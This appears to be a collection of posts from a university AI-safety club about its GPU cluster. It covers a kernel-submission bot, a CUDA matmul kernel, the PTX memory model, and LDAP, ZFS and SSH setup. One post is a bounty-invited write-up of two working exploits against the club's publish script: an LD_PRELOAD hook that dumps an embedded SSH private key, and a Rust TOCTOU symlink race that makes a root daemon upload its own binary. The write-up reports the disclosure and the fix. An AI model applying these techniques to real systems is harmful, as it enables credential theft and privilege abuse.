Commands

Use the following commands to interact with the bot:

• /submit - Submit a kernel to the competition
• /show - Show the leaderboard for a challenge
• /submissions - Get a list of all your personal submissions

How to submit a kernel

Note that the bot will accept .cu and supports ptx files as well. You will also need to make sure name matches the name of you .cu file.

The local_size refers to blockDim (threadblock dimensions) and global_size refers to gridDim (grid dimensions). Also, if you only want a 2D threadblock and gridDim you have to input a tuple i.e. (16, 16, 1) for local_size and global_size. (The 1 at the end is just used as a placeholder for the third dimension).

Additionally, if you designed your dims to be like (M/16, N/16), then for the submission you would actually need to calculate your size. So given that the challenge has fixed dimensions M=N=1024, then you would need to input (64, 64, 1) for global_size.

There are also two other optional parameters you can add to your submission: transpose_a and transpose_b. These are booleans that indicate whether you want to transpose the input matrices A and B respectively. The default value for both is false, so if you want to transpose them, you need to set them to true.

Reference Matmul Kernel

#define m 1024
#define n 1024
#define d 1024


extern "C" __global__ void matmul(float* A, float* B, float* C){
    // A is (m,d), B is (d,n), C is (m,n)

    int i = blockIdx.x*blockDim.x + threadIdx.x;
    int j = blockIdx.y*blockDim.y + threadIdx.y;

    if(i < m && j < n){
        float inner_prod = 0.0f;
        for(int k = 0; k < d; k++){
            inner_prod += A[i*d+k] * B[k*n+j];
        }
        C[i*n+j] = inner_prod;
    }
}

Important caveats to take note of when submitting your kernel:

• The kernel name must match the name of the file i.e. matmul.cu must have a kernel named matmul
• You must use the extern "C" keyword in your kernel definition
• The matmul challenge will only expect the standard 3 matrix arguments to be passed to the kernel, so you must define your kernel with the 3 parameters (A, B, C)
• Make sure you define any dimensions you need as constants at the top of the file (since for the matmul challenge, the dimensions are fixed)

Online leaderboard and Prizes

• To be verified on the online leaderboard you must run this executable on ynez ~kernelbot/scratch/register [your discord id]
• You can find your discord id by going to your discord settings, then to “Advanced” and enabling “Developer Mode”. After that, you can right click on your profile and select “Copy ID”
• Only verified users will be displayed on the online leaderboard and be eligible for prizes

s/o to chris, the AIS supreme leader, for creating this amazing bot! ^_^

On 2/19/2025, Chris added a neat new feature to the AIS server: custom user home-pages at https://ais-ucla.org/~username! To quote the original announcement,

if you have an account on the server, you can now publish a website at ais-ucla.org/~username (max 10MB). to publish, just put your files in ~/public_html and then run publish on one of the servers. please dont do anything illegal or stupid with this, or we’ll have to revoke access, but otherwise have fun!

I’ll give $20 to the first person who manages to hijack the publish script and edit my page

Sure, you can already get a userpage from the very old Bruin OnLine “web hosting service”, but what’s the fun in that?¹ Every self-respecting CS club ought to have their own userpages anyways.

But wait, what’s this about a publish script?

The first pwn: a lil env var called LD_PRELOAD

During PBR practice on 2/22, I decided to take up Chris’ challenge and take a look at the publish script.

arcblroth@sullivan:~$ ls -la /usr/local/bin/publish 
-r-x--x--x  1 root wheel 15480 Feb 19 15:08 /usr/local/bin/publish

publish is a very weird binary - it’s executable by everyone, but only readable by root. Why is this?

It turns out that publish works by essentially scp‘ing files from ~/public_html to www@cherf.ais-ucla.org (source). Crucially, publish contains the SSH key for cherf as part of its source code:

#define PRIVKEY "-----BEGIN RSA PRIVATE KEY-----\n"\
  "...\n"\
  "-----END RSA PRIVATE KEY-----"

Jason then brought up a fatal flaw in this: if you can execute a binary on Linux, you can also LD_PRELOAD it. LD_PRELOAD is a trick on Linux where you can insert shared libraries to be loaded by the dynamic linker before any other code is loaded, just by setting the aforenamed env var. If we can LD_PRELOAD=pwn.so publish, we can run code in the context of publish, and thus leak any memory contents we want!

We can make this exploit easier by overriding the libssh2_userauth_publickey_frommemory function, which publish calls with the contents of PRIVKEY as part of setting up its SSH connection.

// pwn.c
#include <stdio.h>

int libssh2_userauth_publickey_frommemory(void*, const char*, size_t, const char*, size_t, const char* key, size_t, const char*) {
	printf("%s\n", key);
}

arcblroth@temescal:~$ gcc -Wall -fPIC -shared -o a.so pwn.c
arcblroth@temescal:~$ LD_PRELOAD=./a.so publish
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAtczLVAv+xVyFN2EYokYB4nKlWrGY8rA2XQO/09qRfJMajIO
...

And we have a “flag”!

The second pwn: TOCTOU (beat) strikes back!

Upon recommendation, on 2/23 Chris updated the publish script to use a client-daemon model. Rather than embed the cherf SSH key in the publish script itself, publish now connects over a UNIX socket to a daemon service publish-daemon running under the root user. All of the checks (valid user id, public_html under 10 MB, etc) that publish used to run, as well as the SSH key, have been moved to publish-daemon.

Given that we can no longer execute arbitrary code in publish-daemon, is this finally secure? Rather than do my 181 take-home final, I decided to investigate.

The crux of publish-daemon’s code is the function upload_dir, which readdirs a directory, does some checks, and then recursively sends every file in that directory to cherf:

int upload_dir(int fd, LIBSSH2_SFTP *sftp, const char *local_path, const char *remote_path) {
  // ...
  else if (S_ISREG(st.st_mode)) {                  // (1)
      FILE *f;
      char buf[4096];
      size_t nread = 0;
      LIBSSH2_SFTP_HANDLE *handle;

      fprint(fd, "%s\n", local_entry);             // (2)
      if ((f = fopen(local_entry, "r")) == NULL) { // (3)
        fprint(fd, "fopen: %r\n");
        return -1;
      }
      // ...
  }
  // ...
}

One of the checks that stood out to me was the S_ISREG(st.st_mode) check - publish-daemon will refuse to upload any file that is not a regular file. Given that the cherf SSH key is in publish-daemon, and publish-daemon runs under root, is there any way to get publish-daemon to upload itself to cherf?

My first thought was to abuse the fact that any user can make a hardlink under FreeBSD, thus giving publish-daemon an entry under my ~/public_html directory. Unfortunately, this ends up not working because / and /home are mounted from two separate filesystems on sullivan:

arcblroth@sullivan:~/public_html$ ln /usr/local/bin/publish publish
ln: publish: Cross-device link
arcblroth@sullivan:~/public_html$ df -h
Filesystem     Size    Used   Avail Capacity  Mounted on
/dev/nda1p2    1.8T     27G    1.6T     2%    /
devfs          1.0K      0B    1.0K     0%    /dev
/dev/nda1p1    260M    1.3M    259M     1%    /boot/efi
zstore         5.3T    104K    5.3T     0%    /zstore
zstore/home     11T    5.4T    5.3T    51%    /home
zstore/vm      5.3T     12G    5.3T     0%    /zstore/vm

Nevertheless, the idea of abusing a link remained. Given that publish-daemon first checks that a given file is regular, then fprints its name to the client, and then fopens it, there’s an extremely large amount of time for us to pull off one of the oldest tricks in the book.

Enter CWE-367: the TOCTOU (time of check, time of use) bug.

If we can somehow get publish-daemon to run code up until right after it checks that a file is regular (1), and then we swap that file with a symlink to publish-daemon before it fopens the file (3), then we can get publish-daemon to upload itself to cherf instead.²

At this point, we could write a script to race invoking publish with a script that swaps some file under ~/public_html between a regular file and a symlink. But that would be both inconsistent and extremely noisy (potentially thousands of SSH connections to cherf!). Can we make this exploit consistent?

The second fatal flaw is the fprint call between the check and the fopen (2). In this case, fprint writes to a UNIX socket in order to send what file is being uploaded to the publish client. What’s so interesting about this? UNIX sockets have an internal buffer, and crucicially will block sending data if that buffer fills up.

arcblroth@temescal:~$ sysctl net.core.rmem_default
net.core.rmem_default = 212992

If we play around a bit with a server that sends the current time and a client that waits several seconds before beginning to receive data, we can experimentally determine how many “datagrams” the UNIX socket will let us send before blocking. For very short messages (ie 1 byte, 10 bytes, 68 bytes), that number is 278; for longer messages (ie 255 bytes), that number starts to go down.

278| 00000000000000000000000000000000000000000000000000000000000000000000
279| 00000000000000000000000000000000000000000000000000000000000000000000
280| 11111111111111111111111111111111111111111111111111111111111111111111
281| 11111111111111111111111111111111111111111111111111111111111111111111

Although the maximum PATH_LENGTH of a path on Linux is 4096 bytes and the maximum path segment is 255 bytes, I found that the longest path that the cherf webserver would let me look at were filenames up to 40 bytes in length. s Our plan is thus this:

1. Put 280 empty files into ~/publish_html, each with a filename of 40 bytes.
   • Note that for my username, the 28-byte string /home/arcblroth/public_html/ is prepended to each fprint‘d path from publish-daemon, which is accounted for in the buffer calculations above.
   • Note that at least one of these files needs to have some content in order for publish-daemon to actually attempt an upload.³
2. Invoke publish-daemon by connecting to /var/run/publish.sock.
3. Wait for a really long time (ie 5 minutes) for 278 empty files to upload and fill the UNIX socket buffer.
4. Unlink the 279th file (in readdir or ls -U order) and replace it with a symlink to /usr/sbin/publish-daemon.
5. Wait for publish-daemon to upload itself.
6. Profit! (Download the binary, with the SSH key inside of it, from https://ais-ucla.org/~arcblroth/...)

In protest of C, I then proceeded to implement these steps in Rust. >w<

//! common.rs

use anyhow::{Context, Result};
use std::{ffi::OsString, fs::read_dir, path::Path};

pub fn find_publish(base_path: &Path) -> Result<OsString> {
    Ok(read_dir(base_path)?
        .nth(278)
        .context("readdir failed")??
        .file_name())
}

//! mkpwn.rs

use anyhow::Result;
use std::{fs::File, path::Path};

mod common;

fn main() -> Result<()> {
    let args: Vec<String> = std::env::args().collect();
    if args.len() != 2 {
        println!("invalid usage");
        return Ok(());
    }

    let base_path = Path::new(&args[1]);

    for i in 0..280 {
        // "/home/arcblroth/public_html/".len() == 28
        let file_name = format!("a{:0>39}", i);
        File::create(base_path.join(Path::new(&file_name)))?;
    }

    println!("publish: {:?}", common::find_publish(&base_path)?);

    Ok(())
}

//! dopwn.rs

use anyhow::{Context, Result};
use std::fs::remove_file;
use std::io::{Read, Write, stdout};
use std::os::unix::fs::symlink;
use std::os::unix::net::UnixStream;
use std::path::Path;
use std::thread;
use std::time::Duration;

mod common;

fn main() -> Result<()> {
    let args: Vec<String> = std::env::args().collect();
    if args.len() != 2 {
        println!("invalid usage");
        return Ok(());
    }

    let base_path = Path::new(&args[1]);
    let publish_name = common::find_publish(&base_path)?;
    let publish_path = base_path.join(Path::new(&publish_name));
    println!("publish: {:?}", publish_path);

    let mut socket = UnixStream::connect("/var/run/publish.sock")?;
    thread::sleep(Duration::from_secs(5 * 60));
    remove_file(&publish_path).context("remove_file failed")?;
    symlink(Path::new("/usr/sbin/publish-daemon"), &publish_path).context("symlink failed")?;

    let mut out = Vec::new();
    socket.read_to_end(&mut out)?;
    stdout().write_all(&out)?;

    println!("done!");
    Ok(())
}

Now to put it all together…

arcblroth@temescal:~/pwn$ mkdir ~/public_html
arcblroth@temescal:~/pwn$ ./mkpwn ~/public_html
publish: a000000000000000000000000000000000000220
arcblroth@temescal:~/pwn$ echo "a" >> ~/public_html/idea/solve/a000000000000000000000000000000000000220
arcblroth@temescal:~/pwn$ ./dopwn ~/public_html
publish: /home/arcblroth/public_html/a000000000000000000000000000000000000055
...snip...
upload successful
done!

…and “flag”!

“Responsible” Disclosure

I disclosed this writeup to Chris the morning of 3/12. The night of 3/12, Chris both sent the $20 bounty (yay!) and updated publish once again. Thank you for such a quick response, especially in the middle of Week 10!

The new publish script tars up the uploading user’s ~/public_html directory before sending it over to publish-daemon, which checks that there is nothing funny in the tar file before scp‘ing each entry over to cherf. There are no more buffer overflows, funny permission issues, or arbitrary file read vulnerabilities, as far as I can tell.

As of writing this, I believe that publish is finally secure!

Writing secure software is hard. But building aligned AI is harder - and unlike what happened with sys⁠/⁠publish, we might not get more than one chance…

Recently in cs131, Eggert was lecturing about the Java Memory Model (JMM) which defines how threads behave when accessing shared memory space. This was in the context of CPU multi-threading applications. So it got me thinking, what about for GPUs? How would their memory models differ? With their higher focus on parallel processing and much much greater thread count, how are these numerous threads expected to behave when accessing the same memory space? If you’ve programmed in CUDA before you’ll realize how important this type of communication and synchronization between threads are when accessing the same memory addresses. In this short post, I’ll explain how NVIDIA GPUs in particular implements the PTX memory consistency model in their architectures.

weak memory model

Like most CPU memory models the PTX memory model is weak, in the sense that the compiler can do whatever optimizations it wants to the source code and can produce assembly instructions that reorder specific instructions for performance reasons (strong models would enforce a specific ordering for the instructions to be executed in). In a weak memory model, the programmer can use synchronization operations to enforce causality, so that threads will wait for other threads to load the data, if they have to use it i.e. in a producer-consumer scenario.

The model also defines the visibility of the shared memory space i.e. how different threads see what changes happen to the memory and whether those changes are even visible at all to them. So the memory model implements coherence so the threads can have a consistent view of how values change at a single address. Other guarantees specified by the model include atomicity and preventing “out-of-thin-air” values (registers can’t load values from memory that weren’t there in the first place). These kinds of rules are quite normal for what the programmer would expect when writing multithreading apps.

scopes

So now what makes GPU memory models a bit different (NVIDIA in particular)? Well they introduce the concept of scopes to their memory models.

Recall, there are a lot more threads spawned in a GPU and CUDA organizes them into a thread hierarchy for efficiency/synchronization purposes, as such NVIDIA also adds scopes to their PTX memory model. Similar to how threads are grouped together in warps, blocks, etc in the CUDA, you can think of scopes as a set of threads.

For instance, a PTX memory instruction can specify multiple scopes: ld{.scope} = {.cta, .cluster, .gpu, .sys};

And so when you have 2 different memory instructions that include each other in their scope i.e. st.release.gpu, ld.acquire.gpu, they’re considered morally strong to one another. However, if 2 different memory instructions don’t include each other in their scope like st.release.cta, ld.acquire.cta (since threads can belong to different CTAs) they’re not morally strong.

weak + scopes = profit

Putting it all together, the guarantees from the weak memory model (coherence, causality, etc.) only apply between morally strong memory instructions. This means that memory instructions operating in the same scope as one another will adhere to the same rules of the weak memory model. While instructions in differing scopes are not guaranteed to follow the rules of the weak memory model, so a thread in some cta may not see the same changes in memory made from another thread in a different cta leading to inconsistent and less deterministic behavior.

This scope-based approach allows for more flexibility and optimization, as now there is more synchronization control among different scopes and reduced overhead for thread communication in smaller scopes. Additionally data races are allowed in the PTX memory model, which is different from other GPU memory models like OpenCL, which requires data-race freedom in their written programs. (so NVIDIA leaves it up to the programmer with dealing with race conditions, good luck)

this post was inspired by one of Eggert’s lectures :P

references:

PTX ISA Docs Ch.8
A Formal Analysis of the NVIDIA PTX Memory Consistency Model

• opam can’t enable switches: It seems that opam is not designed to run on an NFS, or maybe more precisely, our NFS has too high latency for opam to work well. As such, putting your OPAMROOT on a different filesystem (namely /scratch) is recommended. This can be done by adding the following line to your .bashrc, .zshrc, etc:

  export OPAMROOT=/scratch/$USER/.opam
  

  Alternatively, you can check out something like nfsopam.sh.

• ghc via ghcup: ghcup is the recommended tool to manage ghc versions. Upon install, it reads the environment variable GHCUP_INSTALL_BASE_PREFIX, which allows you to select an alternative base installation location, probably a good idea, because Haskell compilation is already slow enough. Notably, this needs to be set when running ghcup commands as well as during install, so it is best to put this in your .bashrc/.zshrc/etc:

  export GHCUP_INSTALL_BASE_PREFIX=/scratch/$USER
  

If you haven’t already read it, please go read the original instructions on how to connect to the cluster, which is available here. This new method is not entirely foolproof, so the old method should be used as a fallback. Also, the old blog post has important details on the cluster topology.

New connection method

I spent some time writing a new tool, cherf, to make connecting to the server easier. The readme over on github has more details on how it works, but the basic steps to use it are as follows:

1. Build cherf from scratch, or download a pre-built binary (on the releases page.
2. Add cherf binary to PATH (and set as executable if you downloaded it).
3. Create an X509 certificate signing request:

   mkdir ~/.cherf
   openssl req -newkey rsa:2048 -keyout ~/.cherf/key -out csr
   

4. Send csr to a system administrator (see AI Safety Discord), and you will receive a certificate, which you should save as ~/.cherf/cert.
5. Download sullivan’s SHA1 signature, and save it as ~/.cherf/sullivan.sha1. This is available here.
6. Edit your ssh config:

   Host sullivan
     ProxyCommand cherf client ssh cherf.ais-ucla.org 1234 sullivan
     ProxyUseFdpass yes
     ...
   

7. You can now connect (ie. ssh sullivan).

Not working?

Experiencing issues? First visit this website, and ensure your NAT type is not “Symmetric NAT”. If it is not, please open an issue here.

I was curious to get a better sense of how much heat our servers will output.

Google tells me that the specific heat for air given a constant volume is 0.718kJ/kg K. Our room in Boelter Hall is about 50 cubic meters, so using the density of air at STP,¹ that’s about 60 kg of air. Let’s just consider all 14 GPUs running at full-tilt: NVIDIA says that a 3090 has a TDP of 350W, giving us a total of 4.9kW, that is, about 5kJ per second, or 300kJ per minute.

Putting it all together:

Which is 12.5 degrees Fahrenheit per minute!

OpenLDAP Server Setup

Our LDAP server is hosted on sullivan, a FreeBSD host. Many guides exist showing how to setup an OpenLDAP server on FreeBSD, so it would serve no one for me to write another copy. However, I will detail a few of our specific configuration choices.

Firstly, YOU SHOULD USE TLS! Without TLS/SSL, passwords will be transmitted in the clear. TLS is recommended for OpenLDAP, so this is what we’ve decided to use. Since we only have 4 servers acting as OpenLDAP clients, we found self- signed certificates to be a relatively minor inconvience (each client must manually trust the root CA), but you may consider setting up Lets Encrypt’s certbot if you’d prefer to not self-sign.

Next, slapd configuration options. Remember to set these in slapd.ldif, as slapd.conf is deprecated. Also, changing these options down the line is doable, but much trickier than just getting them right the first time! We use the dynamic mdb config module to allow later editing, but it’s much more annoying than changing the first-time setup options in slapd.ldif. As for our schema includes, we use core.ldif, cosine.ldif, inetorgperson.ldif, and nis.ldif. Remember to create a rootdn with password!

Moving on to our LMDB database, we set some basic ACLs. Here’s one you definitely want, which allows users to authenticate, but also prevents others from viewing their passwords:

olcAccess: to dn.subtree="ou=Users,dc=ais-ucla,dc=org"
        attrs=userPassword
        by self write
        by anonymous auth
        by * none

We also set the objectClass for ou=Users to be posixAccount (which includes neccesary data like uid and loginShell) and inetOrgPerson, which allows us to store additional information about users, such as phone numbers, short descriptions, etc. The full specification for inetOrgPerson is available here.

Ldapscripts Setup

Now that the OpenLDAP server is setup, while we could manage users entirely through the ldapsearch and ldapmodify tools, it’s easier to use scripts that abstract away these clunky interfaces. Most operating systems include a copy of martymac’s ldapscripts collection in their package manager, which provides a collection of tools we find quite useful. In particular, ldapadduser, ldapaddgroup, and the like, are all great for those used to adduser and usermod.

ldapscripts is quite customizable, and while obviously you must set it up to be able to connect to your LDAP server (usually with rootdn access), there are some specific configuration options that may be useful to explicitly note:

• Setting CREATEHOMES to "yes", surprisingly enough, creates home directories automatically upon user creation.
• We use PASSWORDGEN="cat /dev/random | LC_ALL=C tr -dc 'a-zA-Z0-9' | head -c8" to create randomized passwords (users connecting over ssh are forced to use pubkey authentication anyway).
• Enabling UTEMPLATE allows for additonal configuration of user accounts when ldapadduser is run. Here is the template we use:

  dn: uid=<user>,<usuffix>,<suffix>
  objectClass: posixAccount
  objectClass: inetOrgPerson
  cn: <ask>
  sn: <ask>
  uid: <user>
  uidNumber: <uid>
  gidNumber: <gid>
  homeDirectory: <home>
  loginShell: /bin/bash
  gecos: <user>
  description: <ask>
  o: <ask>
  mobile: <ask>
  

OpenLDAP client setup

Finally, each machine on your network (that you want users to access), must have an OpenLDAP client installed properly. While you should look for a guide specific to your operating system, here are some brief notes on configuration options.

• Remember to enable TLS/SSL (eg. ssl start_tls)!
• Make sure to reconfigure nsswitch.conf to ensure your ldap client is actually being used.
• On Linux, setup PAM to use ldap too. For instance, on Ubuntu, it suffices to edit /etc/pam.d/common-session, which is included by the other PAM config files. Also ensure that ssh is actually using PAM!

Final notes

Remember that writing your own LDAP scripts is also an option, if ldapscripts isn’t flexible enough for you, or is missing features. For instance, we provide a tool, pb, which allows users to view information about others based on their username (see here). Additionally, ensuring you have physical access to these machines, with at least one account that isn’t an LDAP account is paramount: in the event of a network failure or misconfigured firewall you don’t want to be locked out of all your servers!

Some early precautions about ZFS

Before I start espousing how great ZFS has been, I think it’s worth noting that it may be far from perfect for many use cases. Had I been a little more dilligent in my Googling, I would’ve quickly discovered the one major issue in ZFS’ design that was the source of some headaches when analyzing performance. Namely, ZFS is cache-based, and does NOT support tiered storage. This is not a oversight, but rather an intentional choice in ZFS’ design, which, nevertheless, resulted in behavior which I found unexpected: a mixed pool of spinning and solid state drives may not be utilized in the most effective manor by ZFS. This will be discussed in greater detail later, but I found this behavior confusing enough to warrant placing a disclaimer at the beginning.

Our ZFS configuration

In order to create a filesystem using ZFS, you must first create a ZFS pool. Just like block devices have partitions, which individually contain filesystems, ZFS pools contain datasets, which (typically) house filesystems. Similar to LVM, ZFS pools consist of vdevs, or virtual devices, which actually store the data. For the sake of simplicity, we setup one master ZFS pool built from all of our devices. Because we have the most storage on spinning drives, the pool is formed of these spinning drives. ZFS has built-in support for software RAID, which we should be using.² Onto this pool, we create our datasets, namely /home, which we will setup as an NFS mounted on each of our other servers. However, if we were to mount the filesystem just like this, it would be quite slow, limited by the read and write speed of the spinning rust. Fortunately, the folks that wrote ZFS thought of this, and implemented an Adaptive Replacement Cache (ARC) in RAM to allievate some of the read speed concerns. However, since we had plenty of extra SSDs to use, we setup L2ARC (ie. Level 2 ARC) on one of them, which expands the cache to our SSDs as well. This allievates some of our read-speed concerns, although we will discuss some of the issues with this design later.

Once we mount our dataset as an NFS device, everything seems to be working great, until we try a git checkout! While we’ve fixed some of our read-speed issues, writing to our filesystem is still limited by the speed of the spinning drives. ZFS, for the sake of preserving data integretity upon unexpected power loss, will not buffer writes in RAM, as they would be lost in such an event. However, ZFS does allocating a non-volatile device as a “log” to buffer writes. This log is known by different names, depending on if the writes are synchronous or asynchronous, but given that our NFS configuration is asynchronous, it is called the “ZFS Intent Log” or ZIL. Here, we use another SSD as our log device.³

With all these optimizations in place, our NFS setup is pretty fast (It helps that we also have 10Gbit networking in place)! But some aspects are stil slow: namely, downloading a large dataset to disk is fast, but immediately accessing it can be quite slow, as it hasn’t yet been promoted into ARC or L2ARC. This can be quite frustrating, especially for large files where quick access is desired, and appears to be a fundamental issue with ZFS’ focus on caching rather than tiering. Our solution is essentially a form of manual tiering, where on each of our GPU servers, we create a /scratch folder on a local SSD, which allows us to guarantee fast read and write speeds, but sacrificing coherency between each machine.

Another tool in the toolbox of setting up ZFS that I haven’t mentioned yet is the special device. Part of the reason our git checkout example was slow was also because checkout is bounded not only by write speed, but also by the fstat(2) syscall. Below is a screenshot showing data from strace -T git checkout master on torvalds/linux:

As you can see, this is dominated by fstat(2). Using a special device could fix this, as the special device, by default, will store all of the metadata for your datasets, thus speeding up fstat(2) dramatically. The special device can also be extended to store files smaller than a specified size, which may result in performance improvements for various benchmarks.⁴

Closing thoughts

Despite the small gripes about ZFS listed above, I still think it’s a great choice for this task. ZFS excels by being simultaneously easy to use and also incredibly configurable, a rare feat. I was especially impressed by how simple the NFS setup was, a process that I did not detail here, but exists in many guides online. While I may consider switching to a tiered storage solution, for now, it seems that ZFS fits our needs.

Requisites

In order to connect to the server, you will first (obviously) need to have an account created. Find someone who looks in charge on the AI Safety discord server, and give them your full name, phone number, desired username, and ssh public key (if you don’t already have one, your friendly neighborhood LLM can teach you how to create one). Additionally, you will need a computer with the OpenSSH client installed (most computers are now shipped with this software pre-installed).

Network Topology

Before connecting, it is worth understanding how the network is setup. We currently have 4 computers, three of which are GPU servers (temescal, ynez, and serrano), and the last of which acts as the login node (sullivan). While all computers are connected to SEASnet and the greater internet, you must first connect to sullivan before you can connect to the other computers. Additionally, SEASnet has installed a firewall between sullivan and the greater internet, so it is neccesary that you first aquire an authorized IP address (for most people, this means connecting to the UCLA VPN). The set of authorized IP addresses may be suprisingly restrictive, so if you are struggling to connect, your first troubleshooting step should be to verify your VPN connection.

Actually connecting!

As described above, you must first connect to sullivan before you can connect to any of the other computers. Doing this manually every time would be quite annoying, so fortunately OpenSSH provides configuration options to make this easier:

SSH Config

Please copy below into your SSH config (ie. ~/.ssh/config), replacing USER with your (server) username.

Host sullivan
  ForwardAgent yes
  HostName sullivan.seas.ucla.edu
  User USER

Host temescal
  ForwardAgent yes
  ProxyJump sullivan
  HostName temescal.seas.ucla.edu
  User USER

Host ynez
  ForwardAgent yes
  ProxyJump sullivan
  HostName ynez.seas.ucla.edu
  User USER

Host serrano
  ForwardAgent yes
  ProxyJump sullivan
  HostName serrano.seas.ucla.edu
  User USER

You should now be able to log in to all four computers. Please note that sullivan hosts most of our infrastructure, and is not meant to be used for development, please use the three GPU servers instead. Additionally, upon first login, we ask that you run passwd to reset your password (your inital password should have been given to you by the person who setup your account). You can change your login shell using chsh.ldap, although please note that this change may take a while to replicate.

Overall layout

First, let’s get a rundown of the network topology for this mini-cluster. There are a total of four computers on the network:

• sullivan: The login node and also service host for the cluster. All ssh connections must be made through sullivan and all services that other servers rely on, such as nfs and ldap, run on sullivan.
• temescal: The first of the GPU servers. Currently hosts 4 3090s and is powered by Threadripper PRO 5955WX.
• serrano: The second of the GPU servers. Is host to 5 3090s, powered by an EPYC 7402P.
• ynez: The third and final GPU server. Also hosts 5 3090s using an EPYC 7402P.

Each computer comes with onboard 10GBASE-T networking, except sullivan, which only has 2.5GBASE-T, and will need to be supplemented with an add-in NIC (eg. Intel X540). These are connected through a 10G switch (TP-LINK TL-SX105), which also provides the connection to the rest of the internet. However, for synchronizing large jobs between each of the GPU servers, this link does not provide high enough bandwidth, or more importantly, low enough latency. Thus we look to Remote Direct Memory Access (RDMA) to enable these jobs.

RDMA

For our purposes, the two implementations of RDMA we are interested in are InfiniBand (IB) and RDMA over Converged Ethernet (RoCE). There are many other RDMA solutions, but these two seem the most acchievable for our small, non-enterprise usecase. This main because cheap Mellanox (now NVIDIA) NICs supporting these features can be found on sites like eBay. Here is a nice list of Mellanox part numbers and their capabilities.

serrano and ynez each have an MCX314A-BCCT installed, whereas temescal has an MCX456A-ECAT. The choice of these cards locks us in to using RoCE, because while the MCX456-ECAT supports VPI (that is, Ethernet and InfiniBand), the MCX314A-BCCT only supports the Ethernet protocol. This seems unfortunate, because the InfiniBand stack allows for slightly lower overall latencies than RoCE, but Meta Engineering found that RocE and InfiniBand clusters were successful in their Llama 3 training runs. Additonally, if we find the extra latency in RoCE to be an issue, upgrading serrano and ynez to the MCX456A-ECAT should be relatively simple, and comes with the added bonus of increasing speeds from 40Gbps to 100Gbps!

RDMA support is provided by the MLNX-OFED package, now provided by NVIDIA. It appears this library has been subsumed, however, by NVIDIA’s DOCA-OFED library, which mainly focues on NVIDIA’s new BlueField NICs, but maintains backwards compatability with the older Mellanox Cards (to a point).

To be continued…

Stay tuned for more details. Currently working on getting OpenMPI setup!